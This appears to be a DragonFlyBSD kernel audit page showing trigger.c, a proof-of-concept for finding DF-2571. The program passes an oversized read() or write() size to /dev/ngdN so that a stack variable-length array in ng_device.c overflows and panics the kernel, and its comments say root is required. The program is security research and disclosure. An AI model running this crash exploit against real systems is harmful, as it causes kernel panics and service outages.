DragonFlyBSD Kernel Audit
DF-2571 / trigger.c
← back to finding ↓ download raw
/*
 * DF-2571 trigger PoC - ng_device stack VLA overflow
 *
 * sys/netgraph/ng_device.c ngdread/ngdwrite declare:
 *   char buffer[uio->uio_resid+1];   (ngdread,  line 509)
 *   char buffer[uio->uio_resid];     (ngdwrite, line 562)
 *
 * uio_resid is a user-controlled size_t (the count arg to read()/write()).
 * A VLA this large on a 16KB kernel thread stack overruns into the guard
 * page -> kernel panic (double fault / stack overflow).
 *
 * Usage: ./trigger /dev/ngd0 r|w <size>
 *   r = trigger ngdread VLA,  w = trigger ngdwrite VLA
 *
 * PRIVILEGE NOTE: /dev/ngdN is created by make_dev() with mode 0600
 * (uid 0 gid 0), so opening it requires root.  This PoC must run as root.
 * The module itself (ng_device.ko) is orphaned source — not built by
 * default; an admin must build + kldload it.  See VERDICT.md.
 */

#include <sys/types.h>
#include <sys/fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    const char *dev;
    int fd, rw, do_read;
    size_t sz;
    char *buf;

    if (argc != 4) {
        fprintf(stderr, "usage: %s /dev/ngdN r|w <size>\n", argv[0]);
        return 2;
    }
    dev = argv[1];
    do_read = (argv[2][0] == 'r');
    sz = (size_t)strtoull(argv[3], NULL, 0);

    buf = malloc(sz);
    if (!buf) {
        perror("malloc");
        return 1;
    }
    memset(buf, 'A', sz);

    fd = open(dev, do_read ? O_RDONLY : O_WRONLY);
    if (fd < 0) {
        perror("open");
        free(buf);
        return 1;
    }
    printf("[%d] opened %s, %s size=%zu -> VLA overflow on kernel stack\n",
           getpid(), dev, do_read ? "read" : "write", sz);
    fflush(stdout);

    if (do_read)
        rw = read(fd, buf, sz);
    else
        rw = write(fd, buf, sz);

    /* If we get here the kernel did NOT panic. */
    printf("[%d] returned %d (no panic)\n", getpid(), rw);
    close(fd);
    free(buf);
    return 0;
}